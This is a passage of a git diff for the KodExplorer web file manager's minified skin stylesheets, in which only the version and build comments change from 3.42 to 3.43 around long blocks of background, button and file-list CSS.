.full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.42(2017-04-07) [build 1491589357.1405] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.9882] */ \ No newline at end of file diff --git a/static/style/skin/alpha_image_sky.css b/static/style/skin/alpha_image_sky.css index 8be66c1..1d44b92 100755 --- a/static/style/skin/alpha_image_sky.css +++ b/static/style/skin/alpha_image_sky.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.2641] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999050.113] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.42(2017-04-07) [build 1491589357.2641] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999050.1131] */ \ No newline at end of file diff --git a/static/style/skin/alpha_image_sun.css b/static/style/skin/alpha_image_sun.css index 386d20a..13807e9 100755 --- a/static/style/skin/alpha_image_sun.css +++ b/static/style/skin/alpha_image_sun.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.2068] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999050.0556] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 